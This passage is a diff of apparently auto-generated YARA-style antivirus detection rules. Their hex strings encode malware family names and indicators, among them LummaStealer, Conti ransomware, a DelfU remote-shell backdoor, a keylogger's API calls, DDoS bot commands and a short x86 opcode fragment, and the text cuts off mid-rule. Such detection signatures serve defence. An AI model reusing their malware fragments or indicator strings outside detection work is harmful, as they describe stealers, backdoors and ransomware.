33 21 4d 54 42 00 01 00 1d 81 01 66 6f 72 74 72 79 64 65 6c 69 67 65 73 20 66 6c 64 6e 69 6e 67 20 63 68 61 6e 67 65 64 01 00 14 81 01 75 6e 76 61 6d 70 65 64 20 6d 61 6e 74 65 6c 6c 65 74 74 61 00 00 78 65 00 00 02 00 02 00 02 00 } //28261 + $a_73_1 = {00 78 65 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 00 01 00 15 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 90 01 1c 40 00 00 e0 90 00 01 00 28 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0b 00 00 3c 6d 00 00 08 00 00 00 00 00 00 00 90 01 02 00 00 20 00 00 00 60 6d 90 00 00 00 78 65 00 00 02 00 02 00 02 00 } //28261 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28261) >=2 } -rule _InfrastructureShared_5853{ +rule _InfrastructureShared_6132{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 00 01 00 15 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 90 01 1c 40 00 00 e0 90 00 01 00 28 03 50 45 00 00 4c 01 07 90 01 11 0b 01 0b 00 00 3c 6d 00 00 08 00 00 00 00 00 00 00 90 01 02 00 00 20 00 00 00 } //18467 + $a_00_1 = {00 00 78 65 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 49 31 32 33 21 4d 54 42 00 01 00 1d 81 01 66 6f 72 74 72 79 64 65 6c 69 67 65 73 20 66 6c 64 6e 69 6e 67 20 63 68 61 6e 67 65 64 01 00 14 81 01 75 6e 76 61 6d 70 65 64 20 6d 61 6e 74 65 6c 6c 65 74 74 61 00 00 78 65 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 58 6d 6c 53 65 72 69 61 6c 50 61 79 6c 6f 61 64 41 73 73 65 } //28000 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28000) >=2 + +} +rule _InfrastructureShared_6133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60710,7 +63600,7 @@ rule _InfrastructureShared_5853{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29797) >=2 } -rule _InfrastructureShared_5854{ +rule _InfrastructureShared_6134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60721,7 +63611,7 @@ rule _InfrastructureShared_5854{ ((#a_54_0 & 1)*18467+(#a_22_1 & 1)*24943) >=2 } -rule _InfrastructureShared_5855{ +rule _InfrastructureShared_6135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60732,56 +63622,79 @@ rule _InfrastructureShared_5855{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*16) >=2 } -rule _InfrastructureShared_5856{ +rule _InfrastructureShared_6136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 4c 65 63 70 65 74 65 78 2e 42 33 00 01 00 20 01 25 73 30 30 25 64 00 00 32 37 37 32 37 37 00 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 01 00 11 01 64 66 69 75 73 6f 64 69 38 39 61 64 66 37 61 73 00 01 00 0d 01 6d 79 4e 61 6d 65 49 73 50 } //18467 $a_00_1 = {00 00 78 65 00 00 03 00 02 00 04 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 6c 66 55 00 01 00 0b 00 6b 65 79 62 64 5f 65 76 65 6e 74 01 00 09 00 57 69 6e 53 76 63 45 78 00 02 00 0f 01 54 52 65 6d 6f 74 65 53 68 65 6c 6c 43 6d 64 02 00 0e 01 14 52 65 6d 6f 74 65 43 4d 44 } //28773 - $a_74_2 = {00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 4b 31 32 33 21 4d 54 42 00 01 00 07 81 01 68 6f 6c 6c 6f 63 6b 01 00 18 81 01 66 65 6d 69 6e 69 73 6d 65 6e 73 20 67 6f 6c 6c 79 77 6f 62 62 6c 65 72 01 00 0d 81 01 61 64 6f 70 74 69 76 66 61 64 65 72 73 00 } //28245 + $a_74_2 = {00 78 65 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 61 62 62 6c 65 67 69 74 5f 66 69 6c 65 00 01 00 08 81 01 43 43 52 54 2e 70 64 62 01 00 19 81 01 41 42 42 20 41 73 65 61 20 42 72 6f 77 6e 20 42 6f 76 65 72 69 20 4c 74 64 01 00 13 81 01 68 65 6c 70 2e 70 6b 69 40 64 65 2e 61 62 62 2e 63 6f 6d 00 } //28245 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28773+(#a_74_2 & 1)*28245) >=2 } -rule _InfrastructureShared_5857{ +rule _InfrastructureShared_6137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 04 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 6c 66 55 00 01 00 0b 00 6b 65 79 62 64 5f 65 76 65 6e 74 01 00 09 00 57 69 6e 53 76 63 45 78 00 02 00 0f 01 54 52 65 6d 6f 74 65 53 68 65 6c 6c 43 6d 64 02 00 0e 01 14 52 65 6d 6f 74 65 43 4d 44 } //18467 - $a_74_1 = {00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 4b 31 32 33 21 4d 54 42 00 01 00 07 81 01 68 6f 6c 6c 6f 63 6b 01 00 18 81 01 66 65 6d 69 6e 69 73 6d 65 6e 73 20 67 6f 6c 6c 79 77 6f 62 62 6c 65 72 01 00 0d 81 01 61 64 6f 70 74 69 76 66 61 64 65 72 73 00 } //28245 - $a_00_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 43 57 31 32 33 21 4d 54 42 00 01 00 14 81 01 62 69 64 64 65 6e 73 20 6c 6f 6b 61 6c 73 61 6d 66 75 6e 64 01 00 0e 81 01 69 6e 73 70 65 6b 74 72 6b 6f 6e 74 6f 72 01 00 0a 81 01 66 6f 72 64 6f 6d 73 66 72 69 00 } //30720 - $a_00_3 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 38 00 01 00 13 01 47 65 74 46 6f 72 65 67 72 6f 75 6e 64 57 69 6e 64 6f 77 01 00 0d 01 47 65 74 57 69 6e 64 6f 77 54 65 78 74 01 00 0f 01 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 } //30720 + $a_74_1 = {00 78 65 00 00 03 00 03 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 61 62 62 6c 65 67 69 74 5f 66 69 6c 65 00 01 00 08 81 01 43 43 52 54 2e 70 64 62 01 00 19 81 01 41 42 42 20 41 73 65 61 20 42 72 6f 77 6e 20 42 6f 76 65 72 69 20 4c 74 64 01 00 13 81 01 68 65 6c 70 2e 70 6b 69 40 64 65 2e 61 62 62 2e 63 6f 6d 00 } //28245 + $a_00_2 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 4b 31 32 33 21 4d 54 42 00 01 00 07 81 01 68 6f 6c 6c 6f 63 6b 01 00 18 81 01 66 65 6d 69 6e 69 73 6d 65 6e 73 20 67 6f 6c 6c 79 77 6f 62 62 6c 65 72 01 00 0d 81 01 61 64 6f 70 74 69 76 66 61 64 65 72 73 00 } //30720 + $a_00_3 = {00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 43 57 31 32 33 21 4d 54 42 00 01 00 14 81 01 62 69 64 64 65 6e 73 20 6c 6f 6b 61 6c 73 61 6d 66 75 6e 64 01 00 0e 81 01 69 6e 73 70 65 6b 74 72 6b 6f 6e 74 6f 72 01 00 0a 81 01 66 6f 72 64 6f 6d 73 66 72 69 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28245+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=2 } -rule _InfrastructureShared_5858{ +rule _InfrastructureShared_6138{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_6c_0 = {77 4c 69 73 74 3a 61 62 62 6c 65 67 69 74 5f 66 69 6c 65 00 01 00 08 81 01 43 43 52 54 2e 70 64 62 01 00 19 81 01 41 42 42 20 41 73 65 61 20 42 72 6f 77 6e 20 42 6f 76 65 72 69 20 4c 74 64 01 00 13 81 01 68 65 6c 70 2e 70 6b 69 40 64 65 2e 61 62 62 2e 63 6f 6d 00 00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 } //16675 + $a_2f_1 = {75 6c 6f 61 64 65 72 2e 4b 49 55 4b 31 32 33 21 4d 54 42 00 01 00 07 81 01 68 6f 6c 6c 6f 63 6b 01 00 18 81 01 66 65 6d 69 6e 69 73 6d 65 6e 73 20 67 } //13166 + $a_79_2 = {6f 62 62 6c 65 72 01 00 0d 81 01 61 64 6f 70 74 69 76 66 61 64 65 72 73 00 00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 43 57 31 32 33 21 4d 54 42 00 01 00 14 81 01 62 69 64 64 65 6e 73 20 6c 6f 6b 61 6c 73 61 6d 66 75 6e 64 01 00 0e 81 01 69 6e 73 70 65 6b 74 72 } //27759 + condition: + ((#a_6c_0 & 1)*16675+(#a_2f_1 & 1)*13166+(#a_79_2 & 1)*27759) >=3 + +} +rule _InfrastructureShared_6139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 4b 31 32 33 21 4d 54 42 00 01 00 07 81 01 68 6f 6c 6c 6f 63 6b 01 00 18 81 01 66 65 6d 69 6e 69 73 6d 65 6e 73 20 67 6f 6c 6c 79 77 6f 62 62 6c 65 72 01 00 0d 81 01 61 64 6f 70 74 69 76 66 61 } //18467 $a_73_1 = {00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 43 57 31 32 33 21 4d 54 42 00 01 00 14 81 01 62 69 64 64 65 6e 73 20 6c 6f 6b 61 6c 73 61 6d 66 75 6e 64 01 00 0e 81 01 69 6e 73 70 65 6b 74 72 6b 6f 6e 74 6f 72 01 00 0a 81 01 66 6f 72 64 6f 6d 73 66 72 69 00 00 78 65 00 00 03 00 03 00 } //25956 - $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 38 00 01 00 } //3 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 45 31 32 21 4d 54 42 00 01 00 0d 81 } //3 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25956+(#a_23_2 & 1)*3) >=3 } -rule _InfrastructureShared_5859{ +rule _InfrastructureShared_6140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 43 57 31 32 33 21 4d 54 42 00 01 00 14 81 01 62 69 64 64 65 6e 73 20 6c 6f 6b 61 6c 73 61 6d 66 75 6e 64 01 00 0e 81 01 69 6e 73 70 65 6b 74 72 6b 6f 6e 74 6f 72 01 00 0a 81 01 66 6f 72 64 6f 6d } //18467 - $a_69_1 = {00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 38 00 01 00 13 01 47 65 74 46 6f 72 65 67 72 6f 75 6e 64 57 69 6e 64 6f 77 01 00 0d 01 47 65 74 57 69 6e 64 6f 77 54 65 78 74 01 00 0f 01 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 00 78 65 00 00 03 00 03 00 } //26227 - $a_23_2 = {55 41 3a 42 54 41 6e 74 69 76 69 72 75 73 45 78 63 65 70 74 69 6f 6e 00 01 00 19 01 42 69 74 54 6f } //3 + $a_69_1 = {00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 45 31 32 21 4d 54 42 00 01 00 0d 81 01 4d 6f 73 63 68 61 74 65 6c 6c 69 6e 65 01 00 10 81 01 62 65 74 61 6c 69 6e 67 73 75 6e 69 6f 6e 65 6e 01 00 11 81 01 55 69 67 65 6e 6e 65 6d 74 72 6e 67 65 6c 69 67 74 00 00 78 65 00 00 03 00 03 00 } //26227 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 38 00 01 00 } //3 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26227+(#a_23_2 & 1)*3) >=3 } -rule _InfrastructureShared_5860{ +rule _InfrastructureShared_6141{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 45 31 32 21 4d 54 42 00 01 00 0d 81 01 4d 6f 73 63 68 61 74 65 6c 6c 69 6e 65 01 00 10 81 01 62 65 74 61 6c 69 6e 67 73 75 6e 69 6f 6e 65 6e 01 00 11 81 01 55 69 67 65 6e 6e 65 6d 74 72 6e 67 65 } //18467 + $a_74_1 = {00 78 65 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 6f 73 73 69 62 6c 65 4b 65 79 6c 6f 67 67 65 72 2e 41 38 00 01 00 13 01 47 65 74 46 6f 72 65 67 72 6f 75 6e 64 57 69 6e 64 6f 77 01 00 0d 01 47 65 74 57 69 6e 64 6f 77 54 65 78 74 01 00 0f 01 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f } //26988 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26988) >=3 + +} +rule _InfrastructureShared_6142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -60792,7 +63705,7 @@ rule _InfrastructureShared_5860{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*25710) >=3 } -rule _InfrastructureShared_5861{ +rule _InfrastructureShared_6143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -60802,32 +63715,43 @@ rule _InfrastructureShared_5861{ ((#a_41_0 & 1)*20515) >=3 } -rule _InfrastructureShared_5862{ +rule _InfrastructureShared_6144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 42 6f 74 2e 4e 31 21 4d 54 42 00 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 10 01 77 00 33 00 77 00 70 00 2e 00 65 00 78 00 65 00 01 00 1a 01 61 00 73 00 70 00 6e 00 65 00 74 00 5f 00 77 00 70 00 2e 00 65 00 78 00 65 00 00 00 78 65 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a } //21539 - $a_6e_1 = {69 6e 67 00 01 00 10 01 4d 6f 6e 69 74 6f 72 53 70 61 77 6e 6c 69 6e 67 01 00 0f 01 4d 6f 6e 69 74 6f 72 52 65 67 69 73 74 72 79 01 00 0f 01 53 70 61 77 6e 4e 65 77 50 72 6f 63 65 73 73 01 00 07 01 41 6e 74 69 4d 65 6d 00 00 78 65 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //28755 - $a_5a_2 = {58 31 32 33 21 4d 54 42 00 01 00 0e 81 01 6e 65 70 68 72 65 63 74 6f 6d 69 73 65 64 01 00 07 81 01 69 6e 64 73 61 6d 6c 01 00 0a 81 01 72 65 63 74 6f 6d 69 73 65 64 01 00 08 81 01 73 6b 69 70 70 65 72 73 00 00 78 65 00 00 04 } //11890 + $a_6e_1 = {69 6e 67 00 01 00 10 01 4d 6f 6e 69 74 6f 72 53 70 61 77 6e 6c 69 6e 67 01 00 0f 01 4d 6f 6e 69 74 6f 72 52 65 67 69 73 74 72 79 01 00 0f 01 53 70 61 77 6e 4e 65 77 50 72 6f 63 65 73 73 01 00 07 01 41 6e 74 69 4d 65 6d 00 00 78 65 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 45 44 6c 6c 4e 61 6d 65 43 6c 65 61 6e } //28755 condition: - ((#a_6f_0 & 1)*21539+(#a_6e_1 & 1)*28755+(#a_5a_2 & 1)*11890) >=3 + ((#a_6f_0 & 1)*21539+(#a_6e_1 & 1)*28755) >=3 } -rule _InfrastructureShared_5863{ +rule _InfrastructureShared_6145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 53 70 69 6e 6c 69 6e 67 00 01 00 10 01 4d 6f 6e 69 74 6f 72 53 70 61 77 6e 6c 69 6e 67 01 00 0f 01 4d 6f 6e 69 74 6f 72 52 65 67 69 73 74 72 79 01 00 0f 01 53 70 61 77 6e 4e 65 77 50 72 6f 63 65 73 73 } //16675 $a_01_1 = {41 6e 74 69 4d 65 6d } //1 AntiMem - $a_65_2 = {00 03 00 03 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 5a 58 31 32 33 21 4d 54 42 00 01 00 0e 81 01 6e 65 70 68 72 65 63 74 6f 6d 69 73 65 64 01 00 07 81 01 69 6e 64 73 61 6d 6c 01 00 0a 81 01 72 65 63 74 6f 6d 69 73 65 64 01 00 08 81 01 73 6b 69 70 70 65 72 73 00 00 78 65 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 } //0 - $a_6e_3 = {57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 4c 21 4d 54 42 00 04 00 34 03 58 89 c3 05 90 01 04 81 c3 90 01 04 68 00 00 00 00 68 20 00 00 00 53 68 90 01 04 50 e8 90 01 01 00 00 00 83 c4 90 01 01 c3 90 0a 30 00 e8 00 00 00 00 90 00 00 00 78 65 00 00 04 00 04 00 04 00 21 23 41 4c 46 } //27247 + $a_65_2 = {00 03 00 03 00 04 00 21 23 48 53 54 52 3a 45 44 6c 6c 4e 61 6d 65 43 6c 65 61 6e 00 03 00 07 81 01 55 73 75 61 72 69 6f 03 00 10 81 01 53 6f 66 74 77 6f 72 6b 73 2e 43 6f 6d 6d 6f 6e 03 00 0c 81 01 41 6d 61 7a 6f 6e 48 65 6c 70 65 72 03 00 11 81 01 54 44 53 2e 57 65 62 53 65 72 76 69 63 65 2e 45 2e 00 00 78 65 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 57 } //0 + $a_32_3 = {47 75 6c 6f 61 64 65 72 2e 4b 5a 5a 58 31 32 33 21 4d 54 42 00 01 00 0e 81 01 6e 65 70 68 72 65 63 74 6f 6d 69 73 65 64 01 00 07 81 01 69 6e 64 73 61 6d } //28265 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_65_2 & 1)*0+(#a_6e_3 & 1)*27247) >=3 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_65_2 & 1)*0+(#a_32_3 & 1)*28265) >=3 } -rule _InfrastructureShared_5864{ +rule _InfrastructureShared_6146{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_54_0 = {3a 45 44 6c 6c 4e 61 6d 65 43 6c 65 61 6e 00 03 00 07 81 01 55 73 75 61 72 69 6f 03 00 10 81 01 53 6f 66 74 77 6f 72 6b 73 2e 43 6f 6d 6d 6f 6e 03 00 0c 81 01 41 6d 61 7a 6f 6e 48 65 6c 70 65 72 03 00 11 81 01 54 44 53 2e 57 65 62 53 65 72 76 69 63 } //18467 + $a_2e_1 = {00 78 65 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 5a 58 31 32 33 21 4d 54 42 00 01 00 0e 81 01 6e 65 70 68 72 65 63 74 6f 6d 69 73 65 64 01 00 07 81 01 } //11877 + $a_73_2 = {6d 6c 01 00 0a 81 01 72 65 63 74 6f 6d 69 73 65 64 01 00 08 81 01 73 6b 69 70 70 65 72 73 00 00 78 65 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 4c 21 4d 54 42 00 04 00 34 03 58 89 c3 05 90 01 04 81 c3 90 01 04 68 00 00 00 00 } //28265 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*11877+(#a_73_2 & 1)*28265) >=3 + +} +rule _InfrastructureShared_6147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -60840,7 +63764,7 @@ rule _InfrastructureShared_5864{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25968+(#a_23_2 & 1)*4+(#a_64_3 & 1)*-32758) >=3 } -rule _InfrastructureShared_5865{ +rule _InfrastructureShared_6148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -60850,32 +63774,45 @@ rule _InfrastructureShared_5865{ ((#a_4c_0 & 1)*21539) >=4 } -rule _InfrastructureShared_5866{ +rule _InfrastructureShared_6149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 46 21 4d 54 42 00 01 00 0a 80 01 64 61 6a 62 69 79 6f 7a 6d 74 01 00 0a 80 01 67 75 78 75 62 72 6c 68 76 79 01 00 0a 80 01 6f 72 71 69 70 6b 73 70 6e 6f 01 00 09 } //16675 $a_79_1 = {61 65 78 6c 74 6f 00 00 78 65 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 49 31 32 33 21 4d 54 42 00 01 00 0c 81 01 73 61 6c 74 68 6f 6c 64 69 67 65 73 01 00 08 81 01 68 61 69 72 62 61 6c 6c 01 00 0a 81 01 61 6e 74 69 74 68 65 6e 61 72 01 00 09 81 01 67 61 6c 61 74 68 65 61 73 00 00 78 65 00 00 04 00 04 00 04 } //384 - $a_54_2 = {4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 43 6f 6e 74 69 2e 5a 41 00 01 00 0c 01 63 6f 6e 74 69 5f 76 } //8448 - $a_6c_3 = {01 00 0a 01 44 6c 6c 49 6e 73 74 61 6c 6c 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 0a 01 45 6e 74 72 79 50 6f 69 6e 74 00 00 78 65 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 62 6f 74 5f 63 6f 6d 6d 61 6e 64 73 00 01 00 08 01 6e 69 63 6b 75 70 64 00 01 00 07 01 70 73 74 } //11827 + $a_48_2 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 47 31 21 4d 54 42 00 01 00 0b 81 01 6d 61 6d } //8448 + $a_72_3 = {70 69 6e 01 00 0b 81 01 68 61 6b 6b 65 6f 72 64 6e 65 6e 01 00 0b 81 01 64 61 6e 73 65 73 6b 6f 6c 65 72 01 00 09 81 01 76 6f 6c 75 70 74 61 72 79 00 00 78 65 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 43 6f 6e 74 69 2e 5a 41 00 01 00 0c 01 63 6f 6e 74 69 5f 76 33 2e 64 6c 6c 01 00 0a 01 44 6c 6c 49 6e 73 74 } //28525 condition: - ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*384+(#a_54_2 & 1)*8448+(#a_6c_3 & 1)*11827) >=4 + ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*384+(#a_48_2 & 1)*8448+(#a_72_3 & 1)*28525) >=4 } -rule _InfrastructureShared_5867{ +rule _InfrastructureShared_6150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 49 31 32 33 21 4d 54 42 00 01 00 0c 81 01 73 61 6c 74 68 6f 6c 64 69 67 65 73 01 00 08 81 01 68 61 69 72 62 61 6c 6c 01 00 0a 81 01 61 6e 74 69 74 68 65 6e 61 72 01 00 09 81 01 67 61 6c 61 74 } //18467 - $a_73_1 = {00 78 65 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 43 6f 6e 74 69 2e 5a 41 00 01 00 0c 01 63 6f 6e 74 69 5f 76 33 2e 64 6c 6c 01 00 0a 01 44 6c 6c 49 6e 73 74 61 6c 6c 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 0a 01 45 6e 74 } //25960 - $a_6f_2 = {6e 74 00 00 78 65 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 62 6f 74 5f 63 6f 6d 6d 61 6e 64 73 00 01 00 08 01 6e 69 63 6b 75 70 64 00 01 00 07 01 70 73 74 6f 72 65 00 01 00 08 01 73 79 6e 73 74 6f 70 00 01 00 08 01 68 74 74 70 64 6f 73 } //31090 + $a_73_1 = {00 78 65 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 47 31 21 4d 54 42 00 01 00 0b 81 01 6d 61 6d 6d 6f 74 72 6f 70 69 6e 01 00 0b 81 01 68 61 6b 6b 65 6f 72 64 6e 65 6e 01 00 0b 81 01 64 61 6e 73 65 73 6b 6f 6c 65 72 01 00 09 81 01 76 6f } //25960 + $a_74_2 = {72 79 00 00 78 65 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 43 6f 6e 74 69 2e 5a 41 00 01 00 0c 01 63 6f 6e 74 69 5f 76 33 2e 64 6c 6c 01 00 0a 01 44 6c 6c 49 6e 73 74 61 6c 6c 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 0a 01 45 6e 74 72 79 50 6f 69 6e 74 00 00 78 65 00 } //30060 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25960+(#a_6f_2 & 1)*31090) >=4 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25960+(#a_74_2 & 1)*30060) >=4 } -rule _InfrastructureShared_5868{ +rule _InfrastructureShared_6151{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 47 31 21 4d 54 42 00 01 00 0b 81 01 6d 61 6d 6d 6f 74 72 6f 70 69 6e 01 00 0b 81 01 68 61 6b 6b 65 6f 72 64 6e 65 6e 01 00 0b 81 01 64 61 6e 73 65 73 6b 6f 6c 65 72 01 00 09 81 01 76 6f 6c 75 70 } //18467 + $a_79_1 = {00 78 65 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 43 6f 6e 74 69 2e 5a 41 00 01 00 0c 01 63 6f 6e 74 69 5f 76 33 2e 64 6c 6c 01 00 0a 01 44 6c 6c 49 6e 73 74 61 6c 6c 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 0a 01 45 6e 74 72 79 50 6f 69 6e 74 00 00 78 65 00 00 04 00 04 00 } //24948 + $a_23_2 = {53 54 52 3a 62 6f 74 5f 63 6f 6d 6d 61 6e 